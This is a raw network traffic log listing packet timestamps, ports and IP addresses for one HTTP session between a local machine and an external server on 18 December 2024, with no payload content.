Dec 18, 2024 11:47:56.103730917 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.106358051 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.159889936 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.159912109 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.159955025 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.159954071 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.159969091 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.159985065 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.159996986 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.159996986 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.159997940 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.160070896 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.160070896 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.161345005 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.161947966 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.162060976 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.162343979 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.163364887 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.163377047 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.163542032 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.163882971 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.163894892 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.163947105 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.163947105 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.164586067 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.164598942 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.164638996 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.164638996 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.165863991 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.165877104 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.166090012 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.167960882 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.167973995 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.168019056 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.168019056 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.168876886 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.169060946 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.169097900 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.169097900 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.169924021 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.170082092 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.170126915 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.170126915 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.171210051 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.171252012 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.171463013 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.172085047 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.172400951 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.172554970 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.172585011 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.173135996 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.173577070 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.173588991 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.173841000 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.174226999 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.174238920 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.174334049 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.175765038 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.175776958 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.175806046 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.176346064 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.176361084 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.176383018 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.176440001 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.176440001 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.177701950 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.177716017 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.177750111 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.177891970 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.178761005 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.178774118 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.178885937 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.179924965 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.179938078 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.180198908 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.180932045 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.181008101 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.181051970 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.181051970 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.182141066 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.182152987 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.182195902 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.182195902 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.183281898 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.183334112 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.183427095 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.183623075 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.184385061 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.184475899 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.184933901 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.184979916 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.185717106 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.185733080 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.185760021 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.186228037 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.187170029 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.187181950 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.187239885 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.187239885 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.187911987 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.188010931 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.188047886 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.188047886 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.189421892 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.189435005 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.189476967 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.189476967 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.190280914 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.190320969 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.190366030 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.190468073 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.191627026 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.191639900 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.191687107 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.191687107 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.192604065 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.192643881 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.192706108 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.192773104 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.193841934 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.194029093 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.194067001 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.194067001 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.194905043 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.195338011 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.195488930 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.195910931 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.196228027 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.196285009 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.196639061 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.196707964 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.197415113 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.197427988 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.197457075 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.197536945 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.199004889 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.199017048 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.199069977 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.199069977 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.199654102 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.199727058 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.199732065 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.199817896 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.200793982 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.200895071 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.200910091 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.200936079 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.202915907 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.202929974 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.202960968 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.203035116 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.203628063 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.203640938 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.203681946 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.203699112 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.204722881 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.204735994 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.204761028 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.204824924 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.205290079 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.205343962 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.205353975 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.205974102 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.206422091 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.206543922 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.206566095 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.207237005 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.207534075 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.207653999 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.207693100 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.207693100 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.208657980 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.208703041 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.208750963 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.208836079 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.209768057 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.209882975 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.209935904 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.209935904 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.210935116 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.211021900 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.211056948 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.211056948 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.211950064 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.212061882 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.212080002 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.212145090 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.213063002 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.213129044 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.213139057 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.213707924 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.214076042 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.214195967 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.214209080 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.214376926 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.215128899 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.215322971 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.215341091 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.215428114 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.216243029 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.216327906 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.216339111 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.217238903 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.217288017 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.217288017 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.217372894 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.218147993 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.218259096 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.218305111 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.524974108 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.525156975 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.525168896 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.525207996 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.525281906 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.525312901 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.525346041 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.525346041 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.525986910 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.526021004 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.526092052 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.526174068 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.526725054 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.526762962 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.526822090 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.527082920 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.527442932 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.527503014 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.527539968 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.527612925 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.528217077 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.528260946 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.528301954 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.528350115 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.528951883 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.529032946 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.529053926 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.529094934 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.529717922 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.529784918 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.529817104 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.529864073 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.530606985 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.530664921 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.530680895 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.530699015 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.531239033 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.531279087 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.531353951 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.531410933 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.532020092 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.532058954 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.532130003 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.532350063 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.532740116 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.532850981 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.532906055 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.533097982 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.533473969 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.533518076 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.533555031 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.533623934 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.534267902 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.534384966 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.534396887 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.534604073 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.534993887 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.535103083 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.535139084 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.535139084 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.535868883 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.535952091 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.535986900 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.535986900 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.536603928 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.536701918 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.536737919 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.536737919 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.537300110 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.537336111 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.537437916 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.537486076 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.538201094 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.538250923 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.538312912 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.538369894 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.538990974 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.539004087 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.539026022 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.539207935 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.539536953 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.539602995 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.539633036 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.539720058 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.540307045 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.540452003 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.540481091 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.540529013 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.541069031 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.541109085 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.541141987 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.541214943 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.541873932 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.541944981 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.541970968 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.542017937 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.542551041 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.542615891 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.542726040 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.542845011 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.543389082 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.543507099 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.543520927 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.543592930 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.544078112 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.544202089 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.544234991 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.544234991 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.544795990 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.544940948 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.544954062 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.545119047 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.545676947 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.545732021 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.545891047 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.545948029 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.547175884 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.547271013 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.547283888 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.547327995 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.547682047 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.547727108 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.547758102 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.547806978 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.548218966 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.548257113 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.548291922 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.548362017 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.548856020 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.548892975 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.548929930 CET	80	49910	31.41.244.11	192.168.2.6
